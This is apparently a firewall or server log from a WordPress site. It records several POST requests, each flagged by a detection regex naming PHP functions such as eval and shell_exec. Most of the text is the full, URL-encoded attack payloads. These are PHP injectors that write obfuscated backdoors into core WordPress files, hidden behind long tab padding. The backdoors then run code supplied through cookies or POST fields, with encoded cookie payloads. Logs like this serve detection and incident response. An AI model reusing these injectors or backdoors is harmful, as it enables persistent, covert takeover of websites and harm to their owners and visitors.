Chrome\";v=\"116\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4303\nsec-fetch-site:none\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\naccept:*\/*\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/search.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-9%252B9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-23%252B24%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B6%252B-3%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B9-5%255D%2529%2529%2520%257B%2520%2524comp%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524itm%2529%2520%257B%2520%2524comp%2520%253D%2520%2524_COOKIE%253B%2520%2524ent%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527e61beecb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524ent%2529%2529%2520%257B%2520%2524ent%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522buffer_cache%2522%253B%2520%257D%2520%2524value%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524comp%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524ent%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524ent%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524value%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524ent%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524ent%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524key%2520%253D%2520%252226cdccacbf3bb447da3127689bf19f2d%2522%253B%2520if%2520%2528%2521strncmp%2528%2524key%252C%2520%2524comp%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522event_handler_mutex_lock%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 10:58:07","160.250.186.220","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> uO:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/search.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-9%252B9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-23%252B24%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B6%252B-3%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B9-5%255D%2529%2529%2520%257B%2520%2524comp%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524itm%2529%2520%257B%2520%2524comp%2520%253D%2520%2524_COOKIE%253B%2520%2524ent%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527e61beecb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524ent%2529%2529%2520%257B%2520%2524ent%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522buffer_cache%2522%253B%2520%257D%2520%2524value%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524comp%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524ent%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524ent%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524value%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524ent%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524ent%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524key%2520%253D%2520%252226cdccacbf3bb447da3127689bf19f2d%2522%253B%2520if%2520%2528%2521strncmp%2528%2524key%252C%2520%2524comp%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522event_handler_mutex_lock%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqH8vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4280\n\nuO=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/search.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-9%252B9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-23%252B24%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B6%252B-3%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B9-5%255D%2529%2529%2520%257B%2520%2524comp%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524itm%2529%2520%257B%2520%2524comp%2520%253D%2520%2524_COOKIE%253B%2520%2524ent%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527e61beecb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524ent%2529%2529%2520%257B%2520%2524ent%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522buffer_cache%2522%253B%2520%257D%2520%2524value%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524comp%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524ent%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524ent%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524value%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524ent%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524ent%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524key%2520%253D%2520%252226cdccacbf3bb447da3127689bf19f2d%2522%253B%2520if%2520%2528%2521strncmp%2528%2524key%252C%2520%2524comp%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522event_handler_mutex_lock%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:58:22","129.121.41.228","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Jk:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-privacy-data-removal-requests-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2540%2524_POST%255B%2522%255Cx72%255Cx65c%2522%255D%2520%2521%253D%253D%2520null%2529%257B%2520%2524property_set%2520%253D%2520%2524_POST%255B%2522%255Cx72%255Cx65c%2522%255D%253B%2520%2524property_set%253D%2520explode%2520%2528%2520%2527.%2527%252C%2520%2524property_set%2520%2529%253B%2520%2524reference%2520%253D%2527%2527%253B%2520%2524s4%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253Dstrlen%2528%2520%2524s4%2529%253B%2520%2524o%2520%253D0%253B%2520while%2528%2520%2524o%253Ccount%2528%2520%2524property_set%2529%2529%2520%257B%2520%2524v4%2520%253D%2524property_set%255B%2524o%255D%253B%2520%2524sChar%2520%253Dord%2528%2520%2524s4%255B%2524o%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524dec%2520%253D%2528%2520%2528%2520int%2529%2524v4%2520-%2520%2524sChar%2520-%2528%2520%2524o%2520%2525%252010%2529%2529%255E%252011%253B%2520%2524reference%2520.%253D%2520chr%2528%2520%2524dec%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520%2524ent%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524descriptor%2520%253D%25200%253B%2520do%2520%257B%2520%2524tkn%2520%253D%2520%2524ent%255B%2524descriptor%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524descriptor%2520%253E%253D%2520count%2528%2524ent%2529%2529%2520break%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524tkn%2529%2529%2520%257B%2520%2524element%2520%253D%2520%2522%2524tkn\/.marker%2522%253B%2520if%2520%2528file_put_contents%2528%2524element%252C%2520%2524reference%2529%2529%2520%257B%2520include%2520%2524element%253B%2520%2540unlink%2528%2524element%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524descriptor%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:4793\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFzfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\n\nJk=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-privacy-data-removal-requests-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2540%2524_POST%255B%2522%255Cx72%255Cx65c%2522%255D%2520%2521%253D%253D%2520null%2529%257B%2520%2524property_set%2520%253D%2520%2524_POST%255B%2522%255Cx72%255Cx65c%2522%255D%253B%2520%2524property_set%253D%2520explode%2520%2528%2520%2527.%2527%252C%2520%2524property_set%2520%2529%253B%2520%2524reference%2520%253D%2527%2527%253B%2520%2524s4%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253Dstrlen%2528%2520%2524s4%2529%253B%2520%2524o%2520%253D0%253B%2520while%2528%2520%2524o%253Ccount%2528%2520%2524property_set%2529%2529%2520%257B%2520%2524v4%2520%253D%2524property_set%255B%2524o%255D%253B%2520%2524sChar%2520%253Dord%2528%2520%2524s4%255B%2524o%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524dec%2520%253D%2528%2520%2528%2520int%2529%2524v4%2520-%2520%2524sChar%2520-%2528%2520%2524o%2520%2525%252010%2529%2529%255E%252011%253B%2520%2524reference%2520.%253D%2520chr%2528%2520%2524dec%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520%2524ent%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524descriptor%2520%253D%25200%253B%2520do%2520%257B%2520%2524tkn%2520%253D%2520%2524ent%255B%2524descriptor%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524descriptor%2520%253E%253D%2520count%2528%2524ent%2529%2529%2520break%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524tkn%2529%2529%2520%257B%2520%2524element%2520%253D%2520%2522%2524tkn\/.marker%2522%253B%2520if%2520%2528file_put_contents%2528%2524element%252C%2520%2524reference%2529%2529%2520%257B%2520include%2520%2524element%253B%2520%2540unlink%2528%2524element%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524descriptor%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:58:26","52.232.35.131","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Hf:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-privacy-data-removal-requests-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2540%2524_POST%255B%2522%255Cx72%255Cx65c%2522%255D%2520%2521%253D%253D%2520null%2529%257B%2520%2524property_set%2520%253D%2520%2524_POST%255B%2522%255Cx72%255Cx65c%2522%255D%253B%2520%2524property_set%253D%2520explode%2520%2528%2520%2527.%2527%252C%2520%2524property_set%2520%2529%253B%2520%2524reference%2520%253D%2527%2527%253B%2520%2524s4%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253Dstrlen%2528%2520%2524s4%2529%253B%2520%2524o%2520%253D0%253B%2520while%2528%2520%2524o%253Ccount%2528%2520%2524property_set%2529%2529%2520%257B%2520%2524v4%2520%253D%2524property_set%255B%2524o%255D%253B%2520%2524sChar%2520%253Dord%2528%2520%2524s4%255B%2524o%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524dec%2520%253D%2528%2520%2528%2520int%2529%2524v4%2520-%2520%2524sChar%2520-%2528%2520%2524o%2520%2525%252010%2529%2529%255E%252011%253B%2520%2524reference%2520.%253D%2520chr%2528%2520%2524dec%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520%2524ent%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524descriptor%2520%253D%25200%253B%2520do%2520%257B%2520%2524tkn%2520%253D%2520%2524ent%255B%2524descriptor%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524descriptor%2520%253E%253D%2520count%2528%2524ent%2529%2529%2520break%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524tkn%2529%2529%2520%257B%2520%2524element%2520%253D%2520%2522%2524tkn\/.marker%2522%253B%2520if%2520%2528file_put_contents%2528%2524element%252C%2520%2524reference%2529%2529%2520%257B%2520include%2520%2524element%253B%2520%2540unlink%2528%2524element%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524descriptor%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFTLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 